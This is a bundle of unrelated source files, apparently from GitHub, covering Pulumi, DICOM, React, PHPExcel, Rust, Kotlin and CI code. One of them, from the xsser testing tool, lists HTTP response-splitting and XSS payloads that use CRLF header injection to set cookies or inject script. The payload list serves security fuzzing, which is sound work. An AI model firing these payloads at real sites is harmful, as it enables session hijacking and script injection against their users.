"""
Data contains the secret data. Each key must consist of alphanumeric characters, '-', '_' or '.'. The serialized form of the secret data is a base64 encoded string, representing the arbitrary (possibly non-string) data value here. Described in https://tools.ietf.org/html/rfc4648#section-4
"""
return pulumi.get(self, "data")
@property
@pulumi.getter
def immutable(self) -> pulumi.Output[Optional[bool]]:
"""
Immutable, if set to true, ensures that data stored in the Secret cannot be updated (only object metadata can be modified). If not set to true, the field can be modified at any time. Defaulted to nil. This is a beta field enabled by ImmutableEphemeralVolumes feature gate.
"""
return pulumi.get(self, "immutable")
@property
@pulumi.getter
def kind(self) -> pulumi.Output[Optional[str]]:
"""
Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
"""
return pulumi.get(self, "kind")
@property
@pulumi.getter
def metadata(self) -> pulumi.Output[Optional['_meta.v1.outputs.ObjectMeta']]:
"""
Standard object's metadata. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
"""
return pulumi.get(self, "metadata")
@property
@pulumi.getter(name="stringData")
def string_data(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
stringData allows specifying non-binary secret data in string form. It is provided as a write-only convenience method. All keys and values are merged into the data field on write, overwriting any existing values. It is never output when reading from the API.
"""
return pulumi.get(self, "string_data")
@property
@pulumi.getter
def type(self) -> pulumi.Output[Optional[str]]:
"""
Used to facilitate programmatic handling of secret data.
"""
return pulumi.get(self, "type")
def translate_output_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return _tables.SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| {
"pile_set_name": "Github"
} |
#region License
// Copyright (c) 2013, ClearCanvas Inc.
// All rights reserved.
// http://www.clearcanvas.ca
//
// This file is part of the ClearCanvas RIS/PACS open source project.
//
// The ClearCanvas RIS/PACS open source project is free software: you can
// redistribute it and/or modify it under the terms of the GNU General Public
// License as published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version.
//
// The ClearCanvas RIS/PACS open source project is distributed in the hope that it
// will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
// Public License for more details.
//
// You should have received a copy of the GNU General Public License along with
// the ClearCanvas RIS/PACS open source project. If not, see
// <http://www.gnu.org/licenses/>.
#endregion
using ClearCanvas.Dicom.Iod.Macros;
namespace ClearCanvas.Dicom.Iod.Sequences
{
/// <summary>
/// Primary Anatomic Structure Sequence Item
/// </summary>
/// <remarks>As defined in the DICOM Standard 2011, Part 3, Section 10.5 (Table 10-8)</remarks>
public class PrimaryAnatomicStructureSequenceItem : CodeSequenceMacro
{
/// <summary>
/// Initializes a new instance of the <see cref="PrimaryAnatomicStructureSequenceItem"/> class.
/// </summary>
public PrimaryAnatomicStructureSequenceItem() {}
/// <summary>
/// Initializes a new instance of the <see cref="PrimaryAnatomicStructureSequenceItem"/> class.
/// </summary>
/// <param name="dicomSequenceItem">The DICOM sequence item.</param>
public PrimaryAnatomicStructureSequenceItem(DicomSequenceItem dicomSequenceItem)
: base(dicomSequenceItem) {}
/// <summary>
/// Gets or sets the value of PrimaryAnatomicStructureModifierSequence in the underlying collection. Type 3.
/// </summary>
public CodeSequenceMacro[] PrimaryAnatomicStructureModifierSequence
{
get
{
var dicomAttribute = DicomAttributeProvider[DicomTags.PrimaryAnatomicStructureModifierSequence];
if (dicomAttribute.IsNull || dicomAttribute.IsEmpty)
{
return null;
}
var result = new CodeSequenceMacro[dicomAttribute.Count];
var items = (DicomSequenceItem[]) dicomAttribute.Values;
for (int n = 0; n < items.Length; n++)
result[n] = new CodeSequenceMacro(items[n]);
return result;
}
set
{
if (value == null || value.Length == 0)
{
DicomAttributeProvider[DicomTags.PrimaryAnatomicStructureModifierSequence] = null;
return;
}
var result = new DicomSequenceItem[value.Length];
for (int n = 0; n < value.Length; n++)
result[n] = value[n].DicomSequenceItem;
DicomAttributeProvider[DicomTags.PrimaryAnatomicStructureModifierSequence].Values = result;
}
}
/// <summary>
/// Creates a single instance of a PrimaryAnatomicStructureModifierSequence item. Does not modify the PrimaryAnatomicStructureModifierSequence in the underlying collection.
/// </summary>
public CodeSequenceMacro CreatePrimaryAnatomicStructureModifierSequenceItem()
{
var iodBase = new CodeSequenceMacro(new DicomSequenceItem());
return iodBase;
}
}
} | {
"pile_set_name": "Github"
} |
import React from 'react';
import PropTypes from 'prop-types';
const UilAlignCenterV = (props) => {
const { color, size, ...otherProps } = props
return React.createElement('svg', {
xmlns: 'http://www.w3.org/2000/svg',
width: size,
height: size,
viewBox: '0 0 24 24',
fill: color,
...otherProps
}, React.createElement('path', {
d: 'M10.21,6.21l.79-.8V8a1,1,0,0,0,2,0V5.41l.79.8a1,1,0,0,0,1.42,0,1,1,0,0,0,0-1.42l-2.5-2.5a1,1,0,0,0-.33-.21,1,1,0,0,0-.76,0,1,1,0,0,0-.33.21l-2.5,2.5a1,1,0,0,0,1.42,1.42ZM16,11H8a1,1,0,0,0,0,2h8a1,1,0,0,0,0-2Zm-2.21,6.79-.79.8V16a1,1,0,0,0-2,0v2.59l-.79-.8a1,1,0,0,0-1.42,1.42l2.5,2.5a1,1,0,0,0,.33.21.94.94,0,0,0,.76,0,1,1,0,0,0,.33-.21l2.5-2.5a1,1,0,0,0-1.42-1.42Z'
}));
};
UilAlignCenterV.propTypes = {
color: PropTypes.string,
size: PropTypes.oneOfType([PropTypes.string, PropTypes.number]),
};
UilAlignCenterV.defaultProps = {
color: 'currentColor',
size: '24',
};
export default UilAlignCenterV; | {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-"
# vim: set expandtab tabstop=4 shiftwidth=4:
"""
$Id$
This file is part of the xsser project, http://xsser.03c8.net
Copyright (c) 2011/2016 psy <[email protected]>
xsser is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 3 of the License.
xsser is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with xsser; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
## This file contains different XSS fuzzing vectors.
## If you have some new, please email me to [[email protected]]
## Happy Cross Hacking! ;)
HTTPrs_vectors = [
{ 'payload' : """%0d%0AContent-Length:%200%0d%0A%0d%0AHTTP/1.1%20200%20OK%0d%0AContent-Length:%2016%0d%0A%0d%0A<html>XSS</html>
""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """XSS%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<script>alert("XSS")</script>""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0D%0ASet-Cookie%3AXSS""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0AContent-Type:html%0A%0A%3Cbody%20onload=alert(%22XSS%22)%3E""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0AContent-Type:text/html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0AContent-type:%20html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0AExpect:%20%3Cscript%3Ealert(%22XSS%22)%3C/script%3E""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified: Wed, 13 Jan 2006 12:44:23 GMT%0d%0aContent-Type:text/html%0d%0a%0d%0a<html>XSS</html>%20HTTP/1.1""",
'browser' : """[Induced Injection]"""},
{ 'payload' : """%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control: no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>XSS</html>%20HTTP/1.1
""",
'browser' : """[Induced Injection]"""},
{ 'payload' : """%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>XSS</html>%20HTTP/1.1
""",
'browser' : """[Induced Injection]""" },
{ 'payload' : """%0d%0AContent-Type: text/html;charset=UTF-7%0A%0A%2BADw-script%2BAD4-alert('%58%53%53');%2BADw-/script%2BAD4-
""",
'browser' : """[Induced Injection]""" }
]
| {
"pile_set_name": "Github"
} |
<?php
/**
* PHPExcel
*
* Copyright (c) 2006 - 2015 PHPExcel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category PHPExcel
* @package PHPExcel
* @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel)
* @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL
* @version ##VERSION##, ##DATE##
*/
/** Error reporting */
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('Europe/London');
define('EOL',(PHP_SAPI == 'cli') ? PHP_EOL : '<br />');
/** Include PHPExcel */
require_once dirname(__FILE__) . '/../Classes/PHPExcel.php';
// Create new PHPExcel object
echo date('H:i:s') , " Create new PHPExcel object" , EOL;
$objPHPExcel = new PHPExcel();
// Set document properties
echo date('H:i:s') , " Set document properties" , EOL;
$objPHPExcel->getProperties()->setCreator("Maarten Balliauw")
->setLastModifiedBy("Maarten Balliauw")
->setTitle("PHPExcel Test Document")
->setSubject("PHPExcel Test Document")
->setDescription("Test document for PHPExcel, generated using PHP classes.")
->setKeywords("office PHPExcel php")
->setCategory("Test result file");
// Add some data
echo date('H:i:s') , " Add some data" , EOL;
$objPHPExcel->setActiveSheetIndex(0)
->setCellValue('A1', 'Hello')
->setCellValue('B2', 'world!')
->setCellValue('C1', 'Hello')
->setCellValue('D2', 'world!');
// Miscellaneous glyphs, UTF-8
$objPHPExcel->setActiveSheetIndex(0)
->setCellValue('A4', 'Miscellaneous glyphs')
->setCellValue('A5', 'éàèùâêîôûëïüÿäöüç');
$objPHPExcel->getActiveSheet()->setCellValue('A8',"Hello\nWorld");
$objPHPExcel->getActiveSheet()->getRowDimension(8)->setRowHeight(-1);
$objPHPExcel->getActiveSheet()->getStyle('A8')->getAlignment()->setWrapText(true);
// Rename worksheet
echo date('H:i:s') , " Rename worksheet" , EOL;
$objPHPExcel->getActiveSheet()->setTitle('Simple');
// Clone worksheet
echo date('H:i:s') , " Clone worksheet" , EOL;
$clonedSheet = clone $objPHPExcel->getActiveSheet();
$clonedSheet
->setCellValue('A1', 'Goodbye')
->setCellValue('A2', 'cruel')
->setCellValue('C1', 'Goodbye')
->setCellValue('C2', 'cruel');
// Rename cloned worksheet
echo date('H:i:s') , " Rename cloned worksheet" , EOL;
$clonedSheet->setTitle('Simple Clone');
$objPHPExcel->addSheet($clonedSheet);
// Set active sheet index to the first sheet, so Excel opens this as the first sheet
$objPHPExcel->setActiveSheetIndex(0);
// Save Excel 2007 file
echo date('H:i:s') , " Write to Excel2007 format" , EOL;
$callStartTime = microtime(true);
$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');
$objWriter->save(str_replace('.php', '.xlsx', __FILE__));
$callEndTime = microtime(true);
$callTime = $callEndTime - $callStartTime;
echo date('H:i:s') , " File written to " , str_replace('.php', '.xlsx', pathinfo(__FILE__, PATHINFO_BASENAME)) , EOL;
echo 'Call time to write Workbook was ' , sprintf('%.4f',$callTime) , " seconds" , EOL;
// Echo memory usage
echo date('H:i:s') , ' Current memory usage: ' , (memory_get_usage(true) / 1024 / 1024) , " MB" , EOL;
// Echo memory peak usage
echo date('H:i:s') , " Peak memory usage: " , (memory_get_peak_usage(true) / 1024 / 1024) , " MB" , EOL;
// Echo done
echo date('H:i:s') , " Done writing files" , EOL;
echo 'File has been created in ' , getcwd() , EOL;
| {
"pile_set_name": "Github"
} |
use crate::errors::*;
use crate::engine::ctx::State;
use crate::hlua;
use std::sync::Arc;
pub fn psl_domain_from_dns_name(lua: &mut hlua::Lua, state: Arc<dyn State>) {
lua.set("psl_domain_from_dns_name", hlua::function1(move |dns_name: String| -> Result<String> {
let psl = state.psl()
.map_err(|err| state.set_error(err))?;
let dns_name = psl.parse_dns_name(&dns_name)
.map_err(|err| state.set_error(err))?;
Ok(dns_name.root)
}))
}
#[cfg(test)]
mod tests {
use crate::engine::ctx::Script;
#[test]
fn verify_psl_lookup() {
let script = Script::load_unchecked(r#"
function run()
domain = psl_domain_from_dns_name("foo.example.com")
if domain ~= "example.com" then
return 'unexpected domain: ' .. domain
end
end
"#).expect("Failed to load script");
script.test().expect("Script failed");
}
#[test]
fn verify_psl_lookup_no_subdomain() {
let script = Script::load_unchecked(r#"
function run()
domain = psl_domain_from_dns_name("example.com")
if domain ~= "example.com" then
return 'unexpected domain: ' .. domain
end
end
"#).expect("Failed to load script");
script.test().expect("Script failed");
}
#[test]
fn verify_psl_lookup_tld() {
let script = Script::load_unchecked(r#"
function run()
domain = psl_domain_from_dns_name("asdfinvalid")
if domain ~= "asdfinvalid" then
return 'unexpected domain: ' .. domain
end
end
"#).expect("Failed to load script");
script.test().expect("Script failed");
}
#[test]
fn verify_psl_lookup_fastly() {
let script = Script::load_unchecked(r#"
function run()
domain = psl_domain_from_dns_name("a.prod.fastly.net")
if domain ~= "a.prod.fastly.net" then
return 'unexpected domain: ' .. domain
end
end
"#).expect("Failed to load script");
script.test().expect("Script failed");
}
}
| {
"pile_set_name": "Github"
} |
/// Copyright (c) 2012 Ecma International. All rights reserved.
/**
* @path ch15/15.2/15.2.3/15.2.3.12/15.2.3.12-1-1.js
* @description Object.isFrozen - TypeError is thrown when the first param 'O' is undefined
*/
function testcase() {
try {
Object.isFrozen(undefined);
} catch (e) {
return (e instanceof TypeError);
}
}
runTestCase(testcase);
| {
"pile_set_name": "Github"
} |
// This file was procedurally generated from the following sources:
// - src/dstr-binding/ary-ptrn-rest-id-iter-val-err.case
// - src/dstr-binding/error/for-const.template
/*---
description: Error forwarding when IteratorValue returns an abrupt completion (for statement)
esid: sec-for-statement-runtime-semantics-labelledevaluation
features: [Symbol.iterator, destructuring-binding]
flags: [generated]
info: |
IterationStatement :
for ( LexicalDeclaration Expressionopt ; Expressionopt ) Statement
[...]
7. Let forDcl be the result of evaluating LexicalDeclaration.
[...]
LexicalDeclaration : LetOrConst BindingList ;
1. Let next be the result of evaluating BindingList.
2. ReturnIfAbrupt(next).
3. Return NormalCompletion(empty).
BindingList : BindingList , LexicalBinding
1. Let next be the result of evaluating BindingList.
2. ReturnIfAbrupt(next).
3. Return the result of evaluating LexicalBinding.
LexicalBinding : BindingPattern Initializer
1. Let rhs be the result of evaluating Initializer.
2. Let value be GetValue(rhs).
3. ReturnIfAbrupt(value).
4. Let env be the running execution context’s LexicalEnvironment.
5. Return the result of performing BindingInitialization for BindingPattern
using value and env as the arguments.
13.3.3.6 Runtime Semantics: IteratorBindingInitialization
BindingRestElement : ... BindingIdentifier
1. Let lhs be ResolveBinding(StringValue of BindingIdentifier,
environment).
2. ReturnIfAbrupt(lhs). 3. Let A be ArrayCreate(0). 4. Let n=0. 5. Repeat,
[...]
c. Let nextValue be IteratorValue(next).
d. If nextValue is an abrupt completion, set iteratorRecord.[[done]] to
true.
e. ReturnIfAbrupt(nextValue).
---*/
var poisonedValue = Object.defineProperty({}, 'value', {
get: function() {
throw new Test262Error();
}
});
var iter = {};
iter[Symbol.iterator] = function() {
return {
next: function() {
return poisonedValue;
}
};
};
assert.throws(Test262Error, function() {
for (const [...x] = iter; ; ) {
return;
}
});
| {
"pile_set_name": "Github"
} |
include_rules = [
"+modules/utility",
"+sdk",
]
| {
"pile_set_name": "Github"
} |
@file:Suppress("DEPRECATION")
package co.infinum.goldeneye.models
import android.annotation.TargetApi
import android.hardware.Camera
import android.hardware.camera2.CameraCharacteristics
import android.os.Build
import co.infinum.goldeneye.IllegalEnumException
/**
* One of the advanced features. Use [co.infinum.goldeneye.GoldenEye.Builder.withAdvancedFeatures] method
* to gain access to it.
*/
enum class WhiteBalanceMode {
/**
* @see CameraCharacteristics.CONTROL_AWB_MODE_OFF
*/
OFF,
/**
* @see Camera.Parameters.WHITE_BALANCE_AUTO
* @see CameraCharacteristics.CONTROL_AWB_MODE_AUTO
*/
AUTO,
/**
* @see Camera.Parameters.WHITE_BALANCE_INCANDESCENT
* @see CameraCharacteristics.CONTROL_AWB_MODE_INCANDESCENT
*/
INCANDESCENT,
/**
* @see Camera.Parameters.WHITE_BALANCE_FLUORESCENT
* @see CameraCharacteristics.CONTROL_AWB_MODE_FLUORESCENT
*/
FLUORESCENT,
/**
* @see Camera.Parameters.WHITE_BALANCE_WARM_FLUORESCENT
* @see CameraCharacteristics.CONTROL_AWB_MODE_WARM_FLUORESCENT
*/
WARM_FLUORESCENT,
/**
* @see Camera.Parameters.WHITE_BALANCE_DAYLIGHT
* @see CameraCharacteristics.CONTROL_AWB_MODE_DAYLIGHT
*/
DAYLIGHT,
/**
* @see Camera.Parameters.WHITE_BALANCE_CLOUDY_DAYLIGHT
* @see CameraCharacteristics.CONTROL_AWB_MODE_CLOUDY_DAYLIGHT
*/
CLOUDY_DAYLIGHT,
/**
* @see Camera.Parameters.WHITE_BALANCE_TWILIGHT
* @see CameraCharacteristics.CONTROL_AWB_MODE_TWILIGHT
*/
TWILIGHT,
/**
* @see Camera.Parameters.WHITE_BALANCE_SHADE
* @see CameraCharacteristics.CONTROL_AWB_MODE_SHADE
*/
SHADE,
UNKNOWN;
fun toCamera1() = when (this) {
AUTO -> Camera.Parameters.WHITE_BALANCE_AUTO
INCANDESCENT -> Camera.Parameters.WHITE_BALANCE_INCANDESCENT
FLUORESCENT -> Camera.Parameters.WHITE_BALANCE_FLUORESCENT
WARM_FLUORESCENT -> Camera.Parameters.WHITE_BALANCE_WARM_FLUORESCENT
DAYLIGHT -> Camera.Parameters.WHITE_BALANCE_DAYLIGHT
CLOUDY_DAYLIGHT -> Camera.Parameters.WHITE_BALANCE_CLOUDY_DAYLIGHT
TWILIGHT -> Camera.Parameters.WHITE_BALANCE_TWILIGHT
SHADE -> Camera.Parameters.WHITE_BALANCE_SHADE
else -> throw IllegalEnumException
}
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
fun toCamera2() = when (this) {
OFF -> CameraCharacteristics.CONTROL_AWB_MODE_OFF
AUTO -> CameraCharacteristics.CONTROL_AWB_MODE_AUTO
INCANDESCENT -> CameraCharacteristics.CONTROL_AWB_MODE_INCANDESCENT
FLUORESCENT -> CameraCharacteristics.CONTROL_AWB_MODE_FLUORESCENT
WARM_FLUORESCENT -> CameraCharacteristics.CONTROL_AWB_MODE_WARM_FLUORESCENT
DAYLIGHT -> CameraCharacteristics.CONTROL_AWB_MODE_DAYLIGHT
CLOUDY_DAYLIGHT -> CameraCharacteristics.CONTROL_AWB_MODE_CLOUDY_DAYLIGHT
TWILIGHT -> CameraCharacteristics.CONTROL_AWB_MODE_TWILIGHT
SHADE -> CameraCharacteristics.CONTROL_AWB_MODE_SHADE
else -> throw IllegalEnumException
}
companion object {
fun fromCamera1(string: String?) = when (string) {
Camera.Parameters.WHITE_BALANCE_AUTO -> AUTO
Camera.Parameters.WHITE_BALANCE_INCANDESCENT -> INCANDESCENT
Camera.Parameters.WHITE_BALANCE_FLUORESCENT -> FLUORESCENT
Camera.Parameters.WHITE_BALANCE_WARM_FLUORESCENT -> WARM_FLUORESCENT
Camera.Parameters.WHITE_BALANCE_DAYLIGHT -> DAYLIGHT
Camera.Parameters.WHITE_BALANCE_CLOUDY_DAYLIGHT -> CLOUDY_DAYLIGHT
Camera.Parameters.WHITE_BALANCE_TWILIGHT -> TWILIGHT
Camera.Parameters.WHITE_BALANCE_SHADE -> SHADE
else -> UNKNOWN
}
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
fun fromCamera2(int: Int?) = when (int) {
CameraCharacteristics.CONTROL_AWB_MODE_OFF -> OFF
CameraCharacteristics.CONTROL_AWB_MODE_AUTO -> AUTO
CameraCharacteristics.CONTROL_AWB_MODE_INCANDESCENT -> INCANDESCENT
CameraCharacteristics.CONTROL_AWB_MODE_FLUORESCENT -> FLUORESCENT
CameraCharacteristics.CONTROL_AWB_MODE_WARM_FLUORESCENT -> WARM_FLUORESCENT
CameraCharacteristics.CONTROL_AWB_MODE_DAYLIGHT -> DAYLIGHT
CameraCharacteristics.CONTROL_AWB_MODE_CLOUDY_DAYLIGHT -> CLOUDY_DAYLIGHT
CameraCharacteristics.CONTROL_AWB_MODE_TWILIGHT -> TWILIGHT
CameraCharacteristics.CONTROL_AWB_MODE_SHADE -> SHADE
else -> UNKNOWN
}
}
} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>SEEMode.Base</string>
<key>CFBundleName</key>
<string>Base</string>
<key>NSHumanReadableCopyright</key>
<string>© 2009 TheCodingMonkeys
http://www.codingmonkeys.de</string>
<key>CFBundleShortVersionString</key>
<string>3.5</string>
<key>CFBundleVersion</key>
<string>3.5</string>
<key>CFBundleGetInfoString</key>
<string>3.5, Copyright TheCodingMonkeys 2009</string>
<key>CFBundlePackageType</key>
<string>BNDL</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>TCMModeExtensions</key>
<array>
<string>txt</string>
</array>
<key>SEEMinimumEngineVersion</key>
<string>3.5</string>
</dict>
</plist>
| {
"pile_set_name": "Github"
} |
1.1.0 / 2014-04-24
==================
* Accept options directly to `send` module
* deps: [email protected]
1.0.4 / 2014-04-07
==================
* Resolve relative paths at middleware setup
* Use parseurl to parse the URL from request
1.0.3 / 2014-03-20
==================
* Do not rely on connect-like environments
1.0.2 / 2014-03-06
==================
* deps: [email protected]
1.0.1 / 2014-03-05
==================
* Add mime export for back-compat
1.0.0 / 2014-03-05
==================
* Genesis from `connect`
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8" ?>
<class xmlns="http://xml.phpdox.net/src" full="Swoole\Http\Response" namespace="Swoole\Http" name="Response">
<method name="cookie" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Set the cookies of the HTTP response."/>
<return type="string"/>
</docblock>
<parameter name="name" optional="false" byreference="false" type="string"/>
<parameter name="value" optional="true" byreference="false" type="string"/>
<parameter name="expires" optional="true" byreference="false" type="string"/>
<parameter name="path" optional="true" byreference="false" type="string"/>
<parameter name="domain" optional="true" byreference="false" type="string"/>
<parameter name="secure" optional="true" byreference="false" type="string"/>
<parameter name="httponly" optional="true" byreference="false" type="string"/>
</method>
<destructor name="__destruct" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Destruct the HTTP response."/>
<return type="void"/>
</docblock>
</destructor>
<method name="end" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Send data for the HTTP request and finish the response."/>
<return type="void"/>
</docblock>
<parameter name="content" optional="true" byreference="false" type="string"/>
</method>
<method name="gzip" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Enable the gzip of response content. "/>
<return type="ReturnType"/>
</docblock>
<parameter name="compress_level" optional="true" byreference="false" type="string"/>
</method>
<method name="header" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Set the HTTP response headers."/>
<return type="void"/>
</docblock>
<parameter name="key" optional="false" byreference="false" type="string"/>
<parameter name="value" optional="false" byreference="false" type="string"/>
<parameter name="ucwords" optional="true" byreference="false" type="string"/>
</method>
<method name="initHeader" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Init the HTTP response header."/>
<return type="ReturnType"/>
</docblock>
</method>
<method name="rawcookie" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Set the raw cookies to the HTTP response."/>
<return type="ReturnType"/>
</docblock>
<parameter name="name" optional="false" byreference="false" type="string"/>
<parameter name="value" optional="true" byreference="false" type="string"/>
<parameter name="expires" optional="true" byreference="false" type="string"/>
<parameter name="path" optional="true" byreference="false" type="string"/>
<parameter name="domain" optional="true" byreference="false" type="string"/>
<parameter name="secure" optional="true" byreference="false" type="string"/>
<parameter name="httponly" optional="true" byreference="false" type="string"/>
</method>
<method name="sendfile" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Send file through the HTTP response."/>
<return type="ReturnType"/>
</docblock>
<parameter name="filename" optional="false" byreference="false" type="string"/>
<parameter name="offset" optional="true" byreference="false" type="int"/>
</method>
<method name="status" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Set the status code of the HTTP response."/>
<return type="ReturnType"/>
</docblock>
<parameter name="http_code" optional="false" byreference="false" type="string"/>
</method>
<method name="write" abstract="false" static="false" visibility="public" final="false">
<docblock>
<description compact="Append HTTP body content to the HTTP response."/>
<return type="void"/>
</docblock>
<parameter name="content" optional="false" byreference="false" type="string"/>
</method>
</class> | {
"pile_set_name": "Github"
} |
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Package version supplies the type for version information collected at build time.
// +k8s:openapi-gen=true
package version // import "k8s.io/apimachinery/pkg/version"
| {
"pile_set_name": "Github"
} |
{
"description": "Selectors - :active pseudo-class (css3-modsel-19)",
"selectors": {
"a:active": "css3-modsel-19.expected0.html"
},
"src": "css3-modsel-19.src.html"
} | {
"pile_set_name": "Github"
} |
before lock #1
before lock #2
before lock #3
before unlock #1
before unlock #2
before unlock #3
before unlock #4
---Thread-Announcement------------------------------------------
Thread #x is the program's root thread
----------------------------------------------------------------
Thread #x unlocked a not-locked lock at 0x........
at 0x........: pthread_mutex_unlock (hg_intercepts.c:...)
by 0x........: nearly_main (tc10_rec_lock.c:42)
by 0x........: main (tc10_rec_lock.c:47)
Lock at 0x........ was first observed
at 0x........: pthread_mutex_init (hg_intercepts.c:...)
by 0x........: nearly_main (tc10_rec_lock.c:24)
by 0x........: main (tc10_rec_lock.c:47)
----------------------------------------------------------------
Thread #x's call to pthread_mutex_unlock failed
with error code 1 (EPERM: Operation not permitted)
at 0x........: pthread_mutex_unlock (hg_intercepts.c:...)
by 0x........: nearly_main (tc10_rec_lock.c:42)
by 0x........: main (tc10_rec_lock.c:47)
ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
| {
"pile_set_name": "Github"
} |
package esform.clazz.request;
/**
* Created by
*
* @name:孙证杰
* @email:[email protected] on 2017/10/18.
*/
public class OperateClazzRequest {
private String name;
private Integer type;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getType() {
return type;
}
public void setType(Integer type) {
this.type = type;
}
}
| {
"pile_set_name": "Github"
} |
/* eslint-disable */
require('eventsource-polyfill')
var hotClient = require('webpack-hot-middleware/client?noInfo=true&reload=true')
hotClient.subscribe(function (event) {
if (event.action === 'reload') {
window.location.reload()
}
})
| {
"pile_set_name": "Github"
} |
#!/bin/bash
# Used to have EnigmaBot comment on GitHub pull requests with image analysis/benchmark results.
# GitHub information
gh_organization='enigma-dev' # This is the user or organization who owns the repository we're interested in.
gh_repository='enigma-dev' # This is the simple name of the repository.
gh_api='https://api.github.com/' # This is the GitHub API URL. We need this to actually probe GitHub for data.
orgrepo=$gh_organization'/'$gh_repository # This is just YOURORGANIZATION/YOURREPOSITORY, for convenience.
repo=$gh_api'repos/'$orgrepo # This is the full URL that fetches us repository information.
pullrequest=$repo"/issues/$TRAVIS_PULL_REQUEST/comments" # Full URL to current pullrequest.
echo $pullrequest
imgur_api='https://api.imgur.com/3/image' # This is the Imgur API URL. We need this to upload images.
function imgur_upload {
echo $(curl --request POST \
--url $imgur_api \
--header "Authorization: Client-ID $_IMGUR_CLIENT_ID" \
--form "image=@$1")
}
function enigmabot_post_comment {
echo $(curl -H "Authorization: token $_BOT_COMMENT_TOKEN" \
-H "Content-Type: application/json" \
--request POST \
--data '{"body":"'"$1"'"}' \
"$pullrequest")
}
gh_comment_header="Regression tests have indicated that graphical changes have been introduced. \
Carefully review the following image comparison for anomalies and adjust the changeset accordingly.\n\
\n\
$TRAVIS_PULL_REQUEST_SHA | Master | Diff\n\
--- | --- | ---\n"
gh_comment=""
gh_comment_images=""
master_dir="/tmp/enigma-master/test-harness-out"
pr_dir="${PWD}/test-harness-out"
diff_dir="/tmp"
master_images=$(ls ${master_dir}/*.png | xargs -n1 basename | sort)
pr_images=$(ls ${pr_dir}/*.png | xargs -n1 basename | sort)
